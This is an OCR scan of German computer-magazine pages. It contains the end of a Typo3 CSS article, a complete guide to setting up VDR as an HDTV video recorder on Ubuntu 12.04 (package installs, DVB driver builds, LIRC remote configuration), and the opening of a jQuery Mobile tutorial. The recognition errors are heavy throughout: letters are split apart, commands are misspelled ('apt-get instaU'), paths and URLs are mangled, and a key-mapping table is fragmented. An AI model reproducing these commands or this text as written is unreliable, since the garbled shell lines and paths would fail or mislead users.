
U m  das  Ergebn is  optima l  a nzu­
passen, sol lten S ie d ie  vom 
Typo3 CSS Styled Content ver­
wendeten Klassen in die e igene 
CSS Datei  übernehmen und ent­
sprechend a bändern .  D ie (55-
Datei kön nen Sie über das Datei­
Tool auch d i rekt i m  Backend be­
a rbeiten .  Dies sind beispielswei­
se die verwendeten Styles und 
Klassen für das textpic-Objekt: 
- .csc-defau lt fü r das gesamte text­

pic-Objekt, 

(C)arpwwlaht llll. ............ 

Das Ergebnis des ersten Tei l s  des Typo3-Projekts 
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- .csc-header für d ie Überschrift, 
- .csc-textpic-image fü r das B i ld ,  
- .csc-textpic-caption fü r d ie  B i ld-

u ntersch rift, 
- .bodytext fü r den beg leitenden 

Text, 
- .deta il, . important, .name-of-person a l s  

Textst i le, 
- .csc-textpic-clear a l s  P latzha lter 

nach einem textpic-Objekt. 
Am besten a rbeiten Sie zur Opti­
mierung mit dem erzeugten 
Que l l code der HTML-Datei und  
übernehmen d ie  betreffenden 
K lassen i n  d ie  e igene CSS-Datei 
mit den gewünschten Defin itio­
nen von Fa rbe, Größe, Schriftart, 
Position und Rahmen.  E ine vol l ­
ständ ige Aufl i stung a l le r  verwen­
deten Klassen finden Sie auch in  
der  Typo3- lnsta l l at ion auf dem 
Webserver im typo3-Verzeichnis  
i n  typo3/sysext/css_styled_con­
tent/static/v4.5/setup.txt. 

Ausbl ick 

Die Grunde in richtu ng von 
Typo3 wäre h iermit  er led igt; 
e ine erste Seite steht. Seine Stär­
ken kan n  ein CMS d ieser Größe 
natür l i ch erst au ssp ie len ,  wenn 
e ine g rößere Website m it vielen 
Seiten entstehen sol l .  E in Artikel 
i n  e iner  der kom menden Ausga­
ben w i rd s ich e ingehend mit 
den Mög l i chkeiten von Typo­
Scr ipt beschäftigen :  g rafische 
E lemente, Navigat ion,  Formu la­
re und Suchfun ktionen sowie Er­
weiterungen fü r News und  Ka­
lender. ( rz l )  
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Praxis I Ubuntu a ls  HO-Videorecorder 

Mirko Döl le 

Fernseh konservator 
Ubuntu 1 2.04 L TS a ls  d ig ita ler H DTV-Videorecorder 

Durch den langen Supportzeitrau m  von fü nf Jahren eignet sich Ubu ntu 1 2 .04 L T S  g u t  a ls  Basis 
für einen selbstgebauten digita len H O-Videorecorder mit VOR. Wir  zeigen I h nen, worauf Sie 
bei der Einrichtu ng achten müssen. 

E i n  d ig ita ler  Videorecorder verspr icht 
Fernsehverg nügen pur: N ie  wieder a b­

hetzen, um n icht den Anfang e ines Spielfi lms  
zu verpassen, läst ige Werbeunterbrechun­
gen  schrumpfen im  Schnel lvor lauf auf weni­
ge Sekunden zusammen und  d ie Serien lan­
den fei n  säuberl ich geschn itten im  Archiv. A l l  
d ies lässt s ich mit VDR u nter Ubuntu 1 2.04 
LTS mit ein wen ig Konfigurationsarbeit um­
setzen .  

Das  Konzept von VDR u nterscheidet s ich  
deut l i ch  von Med iacenter-Software wie 
Windows Media Center, MythTV oder XBMC. 
VDR ist  dafür gedacht, den gesamten Rech­
ner i n  einen d ig ita len Receiver ink lusive Vi­
deorecorder zu verwande ln, der sein Bi ld auf 
einem Fernseher anzeigt und mit einer Fern­
bed ienung gesteuert wird. Wer möchte, 
kann den Videorecorder zudem noch als lo-
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ka len F i leserver nutzen oder darüber gele­
gent l ich i m  I nternet su rfen, da rf dann aber 
VOR-Funkt ionen wie das  a utomatische Ab­
scha lten des Rechners bei I n aktivität n icht  
verwenden.  Das zentra le  Des ign von VDR i st  
aber, den Rechner a l s  Settop-Box zum Fern­
sehen und zum Aufzeichnen von Sendungen 
zu verwenden.  

VDR ka n n  b is  zu vier DVB-Empfänger  
g leichzeitig ansteuern und pro DVB-Empfän­
ger m indestens  e inen Sender aufzeichnen .  
G leichzeit ig können S ie e ine Aufze ich nung  
abspie len ,  a uch Timesh ift beherrscht VDR. 
Zudem bietet VDR d ie Mög l i chkeit, Aufzeich­
n u ngen verl ustfrei zu schneiden. 

D ie Systemvoraussetzu ngen fü r den Be­
trieb s ind gering :  Neben e inem hande lsüb l i ­
chen PC benötigen Sie led ig l i ch  noch e inen 
oder mehrere DVB-Empfänger  a b  30 Eu ro. 

ln [ 1 ]  fi nden S ie eine Liste von Linux u nter­
stützter DVB-Empfänger  fü r Sate l l it, Kabel 
und DVB-T. 

Gut vorbereitet 

Als Ausgangsbas is  fü r den Selbstbau-Video­
recorder verwenden wir  e ine herkömml iche 
I n sta l lation von Ubuntu 1 2.04 LTS. Durch den 
langen Supportzeitraum von fünf Jahren und 
i h re gute Hardwareu nterstützung empfiehlt 
s ich d iese L inux-Distri but ion besonders. 
Zudem u nterstützt VDR 1 .7.22 aus dem Re­
pository von Ubuntu 1 2 .04 erstmals  offiziel l  
H DTV. Wen n  S ie U b u ntu neu i n sta l l ieren, 
sol lten S ie den Standard benutzer vd r nen­
nen und außerdem d ie automatische Anmel­
d u n g  be im Systemsta rt a uswäh len  - auf 
d iese Weise ersparen S ie s ich später etl iche 
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Rechte-Probleme beim Bearbeiten von Kon­
figu rationsdateien. 

VDR zäh lt nicht zu den Basispaketen von 
Ubuntu 1 2 .04, S ie m üssen das P rog ram m  
daher ü ber d i e  Paketverwa ltung nach instal­
l ieren. Dabei empfeh len wir  I h nen, n icht das 
Ubuntu Software Center, sondern das  P ro­
gramm Synaptic oder aber apt-get im Termi­
na l  zu n utzen - das Software Center verwen­
det F i l ter, sodass S ie n icht a l l e  verfügbaren 
Pakete a ngezeigt bekommen .  Be i  Synaptic 
und apt-get im Termina l  g ibt es d ieses Pro­
blem n icht. 

Vor der  I n sta l lat ion von VDR sol lten Sie 
s ich fü r eine von zwei Mög l i chkeiten ent­
scheiden, wie Sie das Fernsehbi ld  angezeigt 
bekommen wol len .  D ie ei nfachste Lösung  
i st, d ie  Grafi kka rte I h res Rechners e inzuset­
zen - dann benötigen Sie das X ine l iboutput­
P iug- in für VDR und das Ausgabeprogramm 
vdr-sxfe. A l lerd ings  weist vd r-sxfe noch  e in i ­
ge Stab i l itätsprobleme auf, wesha lb  das B i ld  
gelegentl ich ei nfrieren kan n, das Menü n icht 
korrekt dargeste l l t  wird oder das Prog ramm 
abstü rzt. 

E ine äußerst stab i le  Lösung  zum Fernse­
hen mit VDR ist die B i l dausgabe ü ber  e ine  
DVB-Empfangska rte mit i ntegr iertem Deco­
der. Bei PAL-Fernsehen, also ohne H DTV, be­
nötigen Sie dazu e ine sogenannte Premi u m­
oder Fu i i-Featured-Karte, d ie  es bereits ab 20 
Eu ro bei [2] g i bt. Für die Ansteuerung mit 
VDR ist das P lug- in  vd r-dvbsddevice zustän­
dig. U m  i n  den Genuss  von H DTV zu kom­
men, müssen Sie 220 Euro für d ie DVB-Karte 
Premium-HD S2-6400 von Tech notrend aus­
geben, das  dafü r  zuständ ige P l ug- in ist 
Dvbhddevice. 

Da Sie fü r jede der Ausgabeformen e in  
VDR-P iug- in benötigen, empfeh len wir, VDR 
über d ie  Abhäng igkeiten des jewei l igen 
P lug- ins  zu i nsta l l ieren - bei X ine l i boutput 
würden S ie a l so nur das  Paket vdr-p lug in ­
x ine l iboutput über  Synaptic oder  im Termi­
na l  nach i nsÜ1 I I ieren, das  VDR-Hauptpaket 
würde a l s  Abhäng igkeit des P l ug- ins  a uto­
matisch mit insta l l ie rt. 

Bei der E in richtung des VDR-Pakets erfragt 
d ie Paketverwa ltung u nter anderem das Ver­
zeichn i s  fü r d ie  Videos, Standard ist 
/va r/l i b/video.OO, und wie S ie das  Fernseh­
s igna l  empfangen - letzteres d ient dazu, 
e ine Standard-Kana l l i ste fü r DVB-S, DVB-C 
oder DVB-T a nzu legen.  Die Ka na l l i ste 
/var/l ib/vdr/channe ls.conf können Sie später 
mit einem Editor sortieren und d u rch Kana l ­
l i sten aus  dem VDR-Wiki (s iehe c't-Li n k) er­
gänzen - n icht zu letzt, u m  e inen Mischbe­
trieb a l l e r  d rei Empfangswege zu ermög l i ­
chen .  S ie müssen a l le rd ings  da rauf  achten, 
dass VDR nicht läuft, wäh rend Sie d ie Konfi­
gu rationsdatei bearbeiten .  

Als e ine der Abhäng igkeiten wi rd  außer­
dem der L I RC-Daemon in sta l l iert, wesha lb  
d ie  Paketverwa l tung auch  nach  dem ver­
wendeten I R-Empfänger  fragt. Wäh len  S ie 
h ier  zunächst "None", d ie  L I RC-Ei n richtu ng 
erfolgt später. 

Damit VDR überhau pt startet, müssen Sie 
unter Ubuntu 1 2.04 die Datei /etc/default/vdr 
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editieren und dort d ie Variable ENABLED auf 
1 setzen.  Zum Starten und Beenden von VDR 
benutzen Sie später das l n it-Skript /etc/ 
i n it.d/vdr - einen entsprechenden U pstart­
Job g ibt es derzeit noch nicht. 

Monitor a l s  Fernseher 

U m  I h ren Mon itor zum Fernseher u mzufu n k­
t ion ieren, i n sta l l ieren S ie das  VDR-P iug- in  
X ine l iboutput, d ie  zugehörige B ib l iothek so­
wie das F rontend-Programm vdr-sxfe, das im  
Paket x ine l i boutput-sxfe steckt: 

sudo apt-get instaU vdr-plugin-xineliboutput7 
xineliboutput-sxfe 

Wie i m  vora ngegangenen Abschn itt be­
schrieben, wird VDR a l s  eine der Abhängig­
keiten miti nsta l l ie rt. Zudem sol lten Sie noch 
d ie  Puffer zum Dekod ieren des H DTV­
B i ld materi a l s  in der  Konfi g u rat ionsdatei 
/var/l ib/vd r/plug ins/xi neliboutput/config an­
passen, h ier  d ie  Werte: 

media .xvdr.num_buffers_hd:4000 
media .xvdr.scr _ tuning_step: 1 50 
engi ne. buffers.a udio _ n um_ buffers:500 
engi ne. buffers. video_ n um_ buffers: 1 000 
engi ne .buffers. video_ nu  m _ fra mes:22 

Haben Sie VDR ü ber das l n it-Skript gestartet, 
m ü ssen S ie noch das  F rontend-Prog ram m  
vdr-sxfe sta rten .  Dass d e r  Ton via A lsa ausge­
geben werden so l l ,  müssen Sie dem P ro­
g ramm separat m ittei len :  

vdr-sxfe --audio=alsa 

Ohne Angabe des Aud io-Pa rameters b le ibt 
vd r-sxfe stumm.  Fü r  d ie Ausgabe von Fern­
sehsendern i m  PAL-Format ste l l t  vd r-sxfe 
keine besonderen Anforderungen, mit dem 
Prog ra m m  TV-Time können Sie d ie B i ldqua l i­
tät jedoch noch etwas verbessern .  Dazu 
i n sta l l ieren Sie das  Paket tvt ime nebst Ab­
häng igkeiten nach und rufen vd r-sxfe künf­
t ig m it folgende111 zusätzl ichen Parameter 
a uf: 

--post tvtime:method=Linear,cheap _mode= 1 ,7 
puUdown=O,use_progressive_frame_flag=1 

Der E infachheit ha lber empfeh len wir  I hnen, 
fü r den Aufruf von vd r-sxfe e in Skript a nzu le­
gen,  i n  dem S ie d ie  beiden Parameter fest 
e intragen.  Damit  das P rog ram m  sofort i m  
Vo l l b i ldmodus  sta rtet, können  S i e  zudem 
noch den Pa rameter - -fu l l screen ergänzen. 

Die Bed ienung von vdr-sxfe ist n icht wei­
ter schwierig: Via Doppelk l ick auf das Fern­
sehb i ld  max imieren S ie das  Fenster oder 
keh ren aus dem Vol lb i ldmodus zum Fenster 
zurück. Mit der Escape-Taste beenden Sie 
vd r-sxfe. Darü ber h inaus  er lau bt I h nen 
vd r-sxfe auch ,  VDR ü ber  d ie  PC-Tastatur  
zu steuern .  Dazu müssen S ie d ie  Datei 
/va r/l i b/vd r/remote.conf a n legen und dort 
d ie  a ufge l isteten Tastendefi n it ionen eintra­
gen. Nach einem Neustart von VDR lässt sich 
das Prog ramm dann aus dem Fernsehfenster 
heraus  bed ienen.  

Das Dekodieren von H DTV-Bi ldmateria l  
ohne jeg l iche Hardwareunterstützung erfor-
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dert jedoch ein ige Rechen Ieistung, ein Duai­
Core-Prozessor ab 2,5 GHz Taktfrequenz sol lte 
es schon sein. Als Alternative lässt sich Nvidias 
VDPAU (Video Decode and Presentation API 
for Un ix) e insetzen, a l lerd ings i st dafü r eine 
Nvidia-Grafikkarte neuerer Generation erfor­
derl ich - Onboard-Grafikchips bieten diese Er­
weiterung meist n icht. Zudem müssen Sie 
dann das Xinel iboutput-Piug-in und das Pro­
gramm Xine mit VbPAU-Unterstützung neu 
ü bersetzen - das zu erklären würde den Rah­
men des Artikels sprengen, eine Kurzan lei­
tung dazu finden Sie über den c't-Link. 

Hardware-Decoder 

DVB-Empfangska rten mit i ntegriertem Hard­
ware-Decoder sind die bewährte Alternative 
und haben den Vortei l ,  dass sie das B i ld ohne 
U mstände d i rekt auf e inem Fernseher ausge­
ben, weil sie über entsprechende Videoaus­
gänge verfügen. Wer auf H DTV-Empfang ver­
zichten kann ,  i st mit  e iner  günst igen DVB­
Premiu m-Ka rte fü r 20 Eu ro schon gut be­
d ient. A l lerd ings ü berfordern d ie heute 
ü bl ichen Daten raten der  Sate l l itensender, 
i nsbesondere der öffent l ich-rechtl ichen, bei 
g le ichzeit igem Em pfang und  Wiedergabe 
des Fernsehb i lds  den Datenbus  der DVB-S­
Premium-Karten - daher sol lten Sie anste l le 
e iner DVB-S-Karte e ine mit DVB-C-Tuner kau­
fen und d u rch e ine oder mehrere herkömm­
liche DVB-S- oder DVB-S2-Karten ohne Hard­
waredecoder ergänzen. Wenn  Sie später le­
d ig l ich Sate l l itenkanä le  in d ie VDR-Kana l l i ste 
ei ntragen, wird d ie  DVB-C-Prem ium-Karte 
nu r  a l s  Ausgabegerät genutzt. 

F ü r  d ie  I nbetriebnahme genügt es, das 
VDR-P iug- in Dvbsddevice ü ber die Paketver­
waltung zu insta l l ieren, d ie VDR-Pakete wer­
d�n automatisch aufgrund der Abhängigkei­
ten m iti nsta l l ie rt: 

sudo apt-get instaU vdr-plugin-dvbsddevice 

X K e y S y m . U p  
X K e y S y m . D o w n  
X K e y S y m . � e n u  
X K e y S y m . O k  
X K e y S y m . B a c k  
X K e y S y m . L e f t  
X K e y S ym . R i g h t  
X K e y S y m . R e d  
X K e y S y m . G r e e n  
X K e y S y m . Y e  l l  o w  
X K e y S y m . B l u e  
X K e y S ym . 0 
X K e y S y m . 1  
X K e y S ym . 2 
X K e y S y m . 3 
X K e y S y m . 4 
X K e y S y m . 5 
X K e y S y m . 6 
X K e y S ym . 7 
X K e y S ym . 8 
X K e y S y m . 9 
X K e y S y m . V o l u m e +  
X K e y S y m . V o  l u m e ­
X K e y S y m . � u t  e 
X K e y S ym . P o w e r  

U p  
D o w n  
T a b  
R e t u r n  
B a c k S p a c e  
L e f t  
R i  g h t  
F 1  
F 2  
F 3  
F 4 
0 
1 
2 
3 
4 5 
6 
7 
8 
9 
P r i o r  
N e x t  
F 1 0  
F 1 2  

Damit vdr-sxfe die Tastaturkommandos 
an VOR weiterleitet, müssen Sie die 
Tastenbelegung in der Datei remote.conf 
festlegen. 
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Nachdem Sie VDR gesta rtet haben, bekom­
men Sie Bild und Ton über den am Videoaus­
gang der DVB-Premium-Ka rte angesch losse­
nen Fernseher. 

Die I nbetriebna hme der Prem i u m-HO­
Ka rte von Tech notrend,  mit der  S ie auch  
HDTV empfangen kön nen, i s t  sehr v ie l  auf­
wendiger: Der Sta nda rdkernel von Ubuntu 
enthält nicht d ie notwendigen Treiber, d iese 
fi nden Sie derzeit n u r  in den Que l len des 
Video4Linux-Projekts. Um d iese Tre iber zu 
übersetzen, benötigen S ie zumindest die 
Header-Dateien I h res aktuel l  genutzten Ker­
nels, sie gehören zum Standard insta l l ations­
umfang von Ubuntu 1 2 .04, sowie d ie Pakete 
bu i ld-essent ia l  und  l i bproc-processtable­
perl .  Zudem müssen S ie d ie  Que l lcodever­
wa ltu ng Mercur ia l  i n sta l l ieren, zu der das  
Prog ramm hg gehört. Mit d iesem rufen S ie 
d ie aktuel len Quel len aus  dem Video4Linux­
Repository ab: 

hg clone http:/ /linuxtv.org/hg/-endriss/ 1 
media_build_experimental 

Die Tastenbelegung der Fernbedienung erfragt VOR beim nächsten Start 
automatisch ab. 

Anschl ießend wechsel n Sie in  das Verzeich­
n is  med ia_bu i ld_experimental und überset­
zen die Quel len mit folgenden Befeh len :  

make download 
make untar 
make 
make instaU 

Der letzte Sch ritt sorgt dafü r, dass d ie experi­
mentel len DVB-Treiber aus dem Video4Linux­
Repository in das Modu lverze ichn is  I h res 
Rechners kopiert werden. Für die I nbetrieb­
nahme der Premium-HO-Karte benötigen Sie 
nun noch die F i rmware sowie den zugehöri­
gen F i rmware-Loader, d ie Sie a ls  Zip-Arch ive 
auf der Hornepage von Andreas Regel finden. 
Wir haben Ihnen die U RLs der d rei Zip-Dat�i­
en in  den c't-Links zusammengestel lt. Laden 
Sie die Arch ive herunter und entpacken Sie 
sie im Verzeichn is  / l ib/fi rmware. Da es recht 
mühsam ist, d ie einzelnen Modu le  von Hand 
zu laden, sta rten Sie nun am besten den 
Rechner neu. 

Jetzt erst erfolgt d ie I n sta l l at ion von VDR, 
wie gehabt über d ie Abhängigkeiten des fü r 
d ie Ausgabe erforder l ichen P lug- ins  vd r­
dvbhddevice: 

sudo apt-get instaU vdr-plugin-dvbhddevice 

Betreibt man die Premium-HO-Karte unmittel­
bar an einem LNB, kann es vorkommen, dass 

Bedienung von VOR 

Taste Menü-Navigation Uve-TV 

die Karte bei diversen Kanälen aus dem High­
Band keinen Empfang bekommt, während die 
HDTV-Kanäle einwandfrei funktionieren. Dies 
kann an einem Frequenz-Drift des LNB l iegen, 
hier ist d ie Premium-HO-Karte besonders kri­
tisch. Abhi lfe bringt es, in  der VDR-Konfigura­
tionsdatei /var/l ib/vdr/setup.conf die Grenzfre­
quenz fü r das High-Band um S MHz zu senken: 

LnbFrequHi  = 1 0595 

Dieser Worka round wi rkt sich auf Sate l l iten­
an lagen mit Mu ltischa ltern n icht negativ aus, 
i nsofern sol lte man die Änderung g le ich bei 
der I n sta l lat ion vornehmen, u m  nicht später 
e inma l  vor einem Empfangsproblem zu ste­
hen.  

Fernbedient 

Gehört zu einem der DVB-Empfänger  e ine 
Fernbed ienung mit I R-Empfänger, i s t  d ie E in ­
r ichtu ng schne l l  er led igt: D iese Empfänger  
werden u nter L inux üb l icherweise a l s  l nput­
Devices (ldev/ input/eventX) ä h n l i ch  e iner  
Tastatu r  e ingebunden .  F ü r  d ie  Vermitt l ung  
an  VDR sorgt das VDR-P iug- in  Remote aus  
dem Paket vd r-p lug in- remote. 

Als Erstes muss das Remote-P i ug- in I h rer 
Fernbed ienung er lernen,  wesha lb VDR beim 

Wiedergabe 

Menü (Tab) Menü schließen Menü öffnen Menü öffnen 
Rücktaste vorherige Menüebene Wiedergabe beenden 
Ok (Enter) Menüpunkt auswählen Kanal-I nfo einblenden Statusanzeige ein-/ausblenden 
auf Navigation nächster Kanal 
ab Navigation vorheriger Kanal Pause/Wiedergabe 
links Wert verändern nächste Kanalgruppe Vorlauf 
rechts Wert verändern vorherige Kanalgruppe Rücklauf 
rot (F1 ) siehe Menü Aufzeichnungsmenü zu Position springen 
grün (Fl) siehe Menü Audio-Menü (Sprache) 1 Minute zurück 
gelb (F3) siehe Menü Programmführer (EPG) 1 Minute vor 
blau (F4) siehe Menü Wiedergabe fortsetzen Wiedergabe beenden 
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nächsten Start nacheinander a l le fü r d ie Be­
d ienung nötigen Tasten abfragt. Das Ergeb­
nis speichert das Prog ra m m  in  der Datei 
/va r/l ib/vdr/remote.conf. 

Besitzt I h r  VOR-Rechner noch e ine serie l le 
Schn ittste l l e, sol lten S ie statt des Remote­
P iug- ins und des mitgel ieferten I nfrarot-Emp­
fängers I h rer DVB-Ka rte l ieber e inen Sel bst­
bau- IR-Empfänger verwenden - d ieser ist den 
Fertig lösungen bei Reichweite, Empfind l ich­
keit und F lexib i l ität u m  Längen überlegen. 

D ie dafü r  nötige Scha l tung besteht aus  
nur  fü nf Ba utei len :  E inem I R-Empfä nger 
TSOP- 1 738, e inem Festspan n u ngsreg ler, 
e inem Widersta nd,  e iner  Diode und  e inem 
Kondensator (Scha ltp lan s iehe c't-Li nk) .  Wer 
über  ein M i n i m u m  an Lötgesch ick verfügt, 
baut die Scha l tung gemäß dem Scha ltp lan 
(s iehe c't-Li nk) i n  zehn  M inuten selbst auf. A l ­
ternativ g ibt es bei  [2]  fert ige Empfänger fü r 
knapp 6 Euro. 

Das I R-Empfangsmod u l  der Empfä nger­
scha ltu ng le itet das  (ser ie l le) I nfra rots igna l  
jeder  Fernbed i e n u n g  ungefi l tert a n  d ie  
DCD-Le itung der  serie l len  Schn ittste l l e  wei­
ter, ü ber  die es der  L I RC-Daemon vera rbei­
tet. Der  Clou i st, dass L I RC zusammen mit 
dem Sel bstbau- IR-Empfä nger mit jeder han­
de l süb l icnen I nfra rotfernbed ienung gesteu­
e rt werden ka nn ,  wä h rend die I R-Em pfän ­
ger  der  DVB-Ka rten led ig l ich  d ie  Tastend rü­
cke der m i tge l i eferten Fernbed ienung  de­
kod ieren.  

Dafü r ist d ie  E i n richtung von L IRC recht 
aufwendig ,  wei l  der Daemon zunächst das 
Kod ierverfa h ren der Fernbed ienung erken­
nen und dann den Code jeder e inze lnen 
Taste er lernen muss, bevor Sie L IRC mit VDR 
verwenden können.  Los geht es dam it, dass 
S ie nach E ingabe von 

sudo dpkg-reconfigure l irc 

den LI RC-Empfänger .,Home-brew" und d ie  
korrekte Schn ittste l l e  a uswä h len .  Erkennt 
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das fü r den Empfänger  zuständ ige  Kerne i­
Modu l l i rc_ser ia l l h ren I R-Empfänger korrekt, 
fi nden Sie fo lgende Meldung in der Sys log­
Datei /va r/log/sys log: 

l irc_serial: auto-detected active low receiver 

Meldet l i rc_ser ia l  stattdessen e inen "active 
h igh  receiver", l i egt entweder ein Scha l ­
tungsfeh ler vor oder  das Mod u l  g reift auf d ie 
fa lsche Schn ittste l le  zu.  Welche Schn ittstel l e  
l i rc_seria l verwen�et, legen S ie  über  Modu l ­
parameter fest, Be isp ie le dafü r fi nden S ie 
u nter Ubu ntu 1 2 .04 i n  der  Datei /etc/mod­
probe.d/l i rc-seria l .conf. 

Funktioniert der I R-Empfänger, lassen S ie 
L I RC d ie  Fernbed ienung er lernen.  Es s ind 
mehrere versch iedene Kod ierverfa h ren ge­
bräuch l ich ,  das wohl  bekan nteste ist RC-5, 
das von Ph i l i p s  entwickelt wurde und bei 
v ie len Ma rken-H i F i-Geräten zum E insatz 
kommt. Das Prog ramm i rrecord versucht, an­
hand versch iedener Tastend rücke auf  der  
Fernbed ienung  das  Kod ierverfa h ren zu er­
mitteln ,  zudem ist es fü r die Zuordnung  von 
Code und Taste zuständ ig .  

Nach dem Aufruf von i rrecord werden S ie  
zunächst aufgefordert, nacheinander mehre­
re verschiedene Tasten zu d rücken und  fü r 
etwa e ine Sekunde festzuha lten .  Kon nte i r re­
cord das Kodierungsverfah ren ermitte ln ,  be­
g innt die eigent l iche Anlernphase, wäh rend 
der  S ie zunächst ü ber  d ie  Tastatu r den 
Namen der Taste e ingeben und dann  d ie  zu­
gehörige Taste fü r etwa e ine Seku nde d rü­
cken. Wir  empfeh len, fü r d ie  Tasten Klarna­
men wie "Power", "P iay", "Red", "Green" oder 
auch "0" zu verwenden.  

Die Lernphase endet, wenn Sie keine Tas­
tenbezeichn u ng mehr  e ingeben.  Die Konfi­
gu rationsdaten speichert i r record im a ktuel­
len Verzeichn i s  in  der Datei l i rcd.conf. Diese 
Datei kopieren S ie ins Verze ichn i s  /etc/l i rc. 
Be im nächsten Sta rt erkennt  VDR a utoma­
tisch, dass e ine LI RC-Fernbed ienung vorhan-

den i st, und beg innt genau wie beim Remo- · 

te-P iug- in  mit der Lernphase. 

Couch-Ubuntu 

An d ie  Steuerung von VDR via Fern bedie­
nung  gewö h nt man s ich sch ne l l :  Ins Menü 
gelangen Sie stets mit der Menütaste (Tasta­
tu r: Tabulator), drückt man die Taste erneut, 
sch l ießt s ich das Menü wieder. Fü r  d ie Navi­
gation benutzt man d ie R ichtungstasten, Ok 
oder d ie Enter-Taste wählen den gerade mar­
kierten Ei ntrag aus. Die Rücktaste br ingt Sie 
stets e ine Ebene zu rück, im  Hauptmenü an­
gelangt sch l ießt s ie das Menü.  

l n  den meisten Menüs  b lendet VDR am 
u nteren B i ld rand vier fa rbige Ba l ken mit un­
tersch ied l icher Besch riftung e in  - im Haupt­
menü zum Beisp ie l  "Aufnehmen" im roten 
Ba lken, um die aktuel l l aufende Send ung mit 
einem Tastendruck aufzuze ichnen .  Diese 

VOR bietet eine verlustfreie Schnittfunktion, die Aufnahmen von etwaigen Resten der 
vorherigen oder folgenden Sendung befreit und Werbeblöcke entfernt. 
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Die Bedienung von 
VOR erfolgt über 
das Onscreen-Menü, 
am unteren Rand ist 
jeweils die Funktion 
der vier Farbtasten 
eingeblendet. 

Funktionen werden bei der Tastatu r über d ie 
Tasten F1  b is F4 a ngesprochen.  E ine Über­
s icht der wicht igsten Tastenfun ktionen in  
den d re i  Betriebsmodi Menü-Navigation, 
Live-TV und Wiedergabe fi nden Sie in  der Ta­
bel le auf Seite 1 70. 

Bei der Wiedergabe e iner  Aufzeich nung 
steuern Sie mit den Zifferntasten die Schn itt­
fu n kt ion von VDR. Im Gegensatz zum her­
kömml ichen F i lmschn itt, bei dem uner­
wünschte Passagen aus  dem F i lm entfernt 
werden, legt VDR eine Kopie der Aufzeich­
nung an ,  d ie nur noch d ie erwünschten Tei le  
enthä lt. W�lche das  s ind,  legen Sie mit  
Schn ittmarken fest. Dazu b lenden Sie zu­
nächst mit Ok oder Enter d ie Statusanzeige 
e in  und setzen während der Wiedergabe mit 
der Taste 0 eine Schn ittmarke, wenn ein Wer­
beblock beg in nt, und wieder 0, wenn d ie 
Sendung weiter geht .  Mit den Tasten 7 und 
9 spr ingen Sie zur vorherigen oder nächsten 
Schn ittmarke und können sie mit 4 und 6 um 
ein Vol l bi ld  (Keyframe) nach vorne oder h in­
ten versch ieben. Da der Schn itt stets an  
e inem Keyframe erfolgt, muss der Videoda­
tenstrom n icht neu kod iert werden, sodass 
keine Kompressionsver luste entstehen. 

D ie senkrechten Str iche i n  der Zeitle iste 
symbol is ieren d ie Schn ittmarken, d ie gerade 
ausgewäh l te Schn ittmarke wird du rch ein 
rotes Dreieck oben oder unten markiert - je 
nachdem, ob es s ich u m  eine Anfangs- oder 
Endma rke hande lt. Der Bereich zwischen 
einer Anfa ngs- und Endmarke wird später 
kopiert, wen n S ie mit 2 den Schneidevor­
gang sta rten .  ln der Aufzeich n u ngs l i ste er­
kennen S ie solche Schn ittfassungen daran,  
dass s ie  e in  Prozentzeichen (sym bol is iert 
e ine Schere) vor dem Namen tragen. (mid) 
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[ 1 ]  Mi rko Döl le, Pixelfänger, Aktuel le  DVB-Karten 

und TV-Sticks unter L inux ein richten, c't 1 9/1 1 ,  
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[2] DVB-Shop: dvbshop.net 
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Gerhard Völkl 

Von der Website zur App 
Web-Apps fü r mobi le Geräte erste l len m it jQuery Mobi le  

Mit jQuery Mobi le gel ingen Apps, die 
auf Smartphones a ussehen, wie man 
es von der jewei l igen Plattform 
gewohnt ist - und das nur m it HTML, 
CSS und JavaScript. 

E i n  guter Bekannter betre ibt eine Websei­
te m it aktue l len  I nformationen aus der  

Region.  Be i  der Ana lyse der  Zug riffsstatisti­
ken fiel ihm auf, dass immer mehr Leute mit 
i h ren Smartphones auf seine Seiten zugrei­
fen.  Desha lb wünschte er  s ich e ine App, die 
auf Android-Geräten, i Phones sowie mög­
l ichst noch Windows Phones und Blackberrys 
g le ichermaßen läuft. Weiterh in  wo l l te e r  
sei ne Webseiten mit PHP  und Javascr ipt 
selbst erste l len  und  n icht  e ine Horde Soft­
wareentwickler beschäftigen, die mit p latt­
formspezifischen Entwickl ungsumgebun-
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gen,  Too l s  u n d  P rogra m miersprachen d ie  
App für jede Plattform neu schreiben. 

Auf der Suche nach e iner Lösung gerieten 
wir an jQuery Mobi le, eine JavaScript-B ib l io­
thek, die zu der Prob lemstel l u n g  passt. 
Dam it lassen sich Oberflächen zusa m men­
bauen,  d ie  vom Bed iengefü h l  sehr  nahe a n  
A p p s  hera n kommen und  keine  zusätz l iche 
Software benötigen, mit der e in ige Geräte so 
i h re Problemehen haben ( l ies: Adobe F lash) .  
E in weiteres P lus :  Der gesamte bereits fü r d ie  
Website programmierte JavaScript-Code l ieß 
sich weiter verwenden.  

jQuery Mobi le  (aktuel l Vers ion 1 . 1 )  setzt 
auf das bekannte JavaScript-Framework 
jQuery (Version 1 .7 . 1 )  auf, das gängige Web­
Prog rammiertätigkeiten ü ber verschiedenste 
B rowser h inweg vere inheit l icht und  verein­
facht. Daher kan n  man mit  jQuery Mobi le  
a l les tun,  was man mit jQuery tun kann .  Man 
bekommt aber  zusätz l ich Oberflächen,  d ie  

aussehen, wie s ie der  Anwender von seinem 
Smartphone gewoh nt i st, und d ie s ich genau 
so bed ienen lassen,  etwa d u rch Berührung 
oder  Gesten.  

Appl ikation 

E ine App besteht fü r jQuery Mobi le aus  be­
l iebig vielen Seiten, zwischen denen der An­
wender gemäß Program mlogik h in- und her­
wechse ln kann .  Die Beispie i-App fü r d iesen 
Art ike l  ist eine einfache Orakel-Software, in 
die man eine F rage e ing ibt und eine (mehr 
oder weniger) passende Antwort zurückbe­
kom mt. Sie steht unter  dem c't-Lin k  am Arti­
ke lende zum Down load bereit. Darüber er­
reichen Sie auch einen L ink, ü ber  den Sie die 
App d i rekt ausprobieren können .  

Die erste Entscheidung, die der App-Erstel­
ler  treffen muss: Wi l l  er  al le I nformationen zu 
a l len Seiten (Pages) i n  einer HTML-Datei spei-
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ehern oder für jede Seite eine eigene erstel len. 
jQuery Mobi le u nterstützt beide Vorgehens­
weisen. Für  kleinere Webanwendungen ist es 
durchaus s innvol l ,  a l les in e ine Datei h ineinzu­
nehmen. Bei g rößeren i st man mit dem a lten 
Römermotto "Tei le  und herrsche" besser be­
dient, je Page eine Datei e inzurichten. 

Seitenaufbau 

Jede HTML-Datei i n  jQuery Mobi le  sol lte m it 
